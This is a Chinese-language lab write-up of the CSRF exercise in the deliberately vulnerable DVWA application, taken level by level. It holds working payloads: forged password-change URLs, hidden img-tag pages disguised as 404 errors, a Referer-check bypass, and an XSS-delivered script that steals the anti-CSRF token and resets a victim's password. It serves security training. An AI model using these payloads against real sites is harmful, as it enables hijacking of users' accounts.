本文的所有方法在以下DVWA版本测试通过:
Damn Vulnerable Web Application (DVWA) v1.10 Development
参考链接:
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
服务器在收到修改密码的请求后,判断两次输入的密码是否相同,如果相同,更改用户的密码,并提示密码已经修改。如果不同,提示两次输入的密码不匹配。
最基础的,构造链接:
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=crack&password_conf=crack&Change=Change#
CSRF最关键的是利用受害者的cookie向服务器发送伪造请求
可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站)
因为是本地搭建的环境,服务器域名是ip所以无法生成相应的短链接。实际攻击场景下,只要目标服务器的域名不是IP,是可以生成相应短链接的。
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=fuck&password_conf=fuck&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found.</h2>
受害者访问攻击者服务器上的攻击页面,表面上像是一个无效的url,实际上已经遭到CSRF攻击,密码被修改为攻击者指定的密码。
http://192.168.245.134/crack.html
攻击者可以通过XSS来触发CSRF攻击
触发方法,将攻击语句复制到XSS漏洞中,即可执行成功
攻击者chrome,受害者firefox
参考payload
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=viva&password_conf=viva&Change=Change" alt="over">
攻击者浏览器chrome,1337/charley
受害者浏览器firefox, admin/password
攻击者浏览器chrome,将payload插入存储型XSS的留言板中
受害者admin去访问存储型XSS留言板,payload中的img标签已经被解析了
经过测试,admin的密码被更改为了viva
函数说明
Stripos()
函数查找字符串在另一个字符串中第一次出现的位置(不区分大小写)。
stripos(*string,find,start*)
参数 | 描述 |
---|---|
string | 必需。规定被搜索的字符串。 |
find | 必需。规定要查找的字符。 |
start | 可选。规定开始搜索的位置。 |
技术细节
返回值: | 返回字符串在另一字符串中首次出现的位置,如果没有找到字符串则返回FALSE。注:字符串位置从0开始,不是从1开始。 |
---|---|
来自 https://www.runoob.com/php/func-string-stripos.html
代码分析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
echo "\$_SERVER[ 'HTTP_REFERER' ] is ".$_SERVER[ 'HTTP_REFERER' ];
echo "\$_SERVER[ 'SERVER_NAME' ] is ".$_SERVER[ 'SERVER_NAME' ];
echo stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]);
// 自己添加的打印语句,用来查看变量的值
// Checks to see where the request came from
//如果可以在HTTP头部的Referer字段中找到Host字段的内容,说明来自可信的源
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database,重置当前用户的密码
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
}
//如果不能在HTTP头部的Referer字段中找到Host字段的内容,说明来自可信的不可信源,提示用户,请求似乎看起来不正确
else {
// Didn't come from a trusted source
$html .= "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
用户正常修改密码的情况下,上面添加的打印语句的输出为
$_SERVER[ 'HTTP_REFERER' ] is http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=&password_conf=&Change=Change
$_SERVER[ 'SERVER_NAME' ] is 127.0.0.1
7
PHP中的$_SERVER['SERVER_NAME']
就是HTTP请求头中Host
字段的值。
PHP中的$_SERVER['HTTP_REFERER']
就是HTTP请求头中Referer
字段的值。
最后返回的7是Host字段的值在Referer字段中的位置,下标从0开始。
Host: 127.0.0.1
Referer: http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change
绕过方法:
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
既然stripos是在HTTP头部的Referer字段的值中寻找Host字段首次出现的位置,已知host字段为127.0.0.1,只需要想办法让Referer字段的值也包含127.0.0.1即可
在攻击者的服务器上创建一个名为127.0.0.1.html的页面
<img src="http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=phos&password_conf=phos&Change=Change#" border="0" display="none">
<h1>404</h1>
<h2>can not find file in this server.</h2>
受害者在浏览器中访问:
http://192.168.245.134/127.0.0.1.html
过程如下:
使得判断条件成立
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
进入修改密码的流程
也可验证,用户名密码被成功更改
Anti-CSRF token机制,用户每次访问该页面时,服务器都会返回一个随机的token(generateSessionToken();),向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
代码分析:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。
同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互。
这是一个用于隔离潜在恶意文件的重要安全机制。
受约束的对象:DOM、Cookie、第三方插件以及XMLHttpRequest都收到同源策略的约束
不受约束的对象:
页面中的链接,重定向,以及表单的提交是不会受到同源策略的限制的。
跨域资源的引入时可以的。但是js不能读写加载的内容。如嵌入到页面中的<script>
,<img>
,<iframe>
等带src属性的标签。
非同源受到的限制:
Cookie,LocalStorage和IndexDB无法读取。
DOM无法获得。
AJAX请求不能发送。
跨域的概念
受同源策略的影响,不是同源的脚本不能操作其他源下面的对象。想要操作另一个源下的对象就需要跨域
把不同域之间的请求数据的操作,称为跨域
以下是呈现的html代码,我们可以看到一个字段是"user_token"
所以,我们无法通过某些方法来利用此级别,例如嵌入源代码以欺骗用户进行查看。因为我们不知道这个token的值,我们不能猜测或者是暴力破解该值。
我的想法是利用另一个漏洞来利用此漏洞,以在客户端站点上执行命令来获取令牌并将其随每个请求传递。因此,我的目标是XSS漏洞,我使用XSS DOM加以利用。
查看导致XSS DOM的源代码。
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
我们看到document.write
用于生成选择框的内容,此功能记录在HTML DOM write() Method
就像解释的一样,write()
方法将HTML表达式或者Javascript代码写入文档。因此,我们可以在其上嵌入javascript并执行它。
让我们检查服务端的处理参数的PHP代码
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
\# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
\# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
尝试下面的参数
?default=English #<script>alert('XSS')</script>
它起作用了。因为#之后的代码没有被发送到服务器导致服务器值看到了English。所以它绕过了服务端。但是客户端使用这个值去渲染内容导致javascript代码被执行。
渲染利用代码并成功执行后,我们可以在console中检查源代码
为了清楚的利用此漏洞,我创建了一个简单的javascript代码并将其放在文件中,然后将此文件放在客户端可以访问的位置(这里不能跨域)。
请将两处URL修改为DVWA服务器的地址
var theUrl = 'http://127.0.0.1/dvwa/vulnerabilities/csrf/';
var pass = '2021';
if (window.XMLHttpRequest){
xmlhttp=new XMLHttpRequest();
}else{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new='+pass+'&password_conf='+pass+'&Change=Change&user_token='+token+'#';
if(!hacked){
alert('Got token:' + match[1]);
hacked = true;
xmlhttp.open("GET", new_url, false );
xmlhttp.send();
}
count++;
}
};
xmlhttp.open("GET", theUrl, false );
xmlhttp.send();
查看漏洞利用代码,有2个步骤使它起作用。第一步是从链接CSRF获取内容,第二步是解析token,然后将此令牌与参数password_new和password_conf关联。
所以,让我们再次尝试下面的参数
?default=English #<script src="http://127.0.0.1/xss.js"></script>
好的,我们成功的利用了它,我们将用户gordonb的密码改为了2021。(gordonb的初始密码为abc123)
在impossible级别中,将在High级别的内容上进行扩展,询问当前用户的密码。由于无法找到(只能靠猜测或者是暴力破解),因此这里没有攻击向量。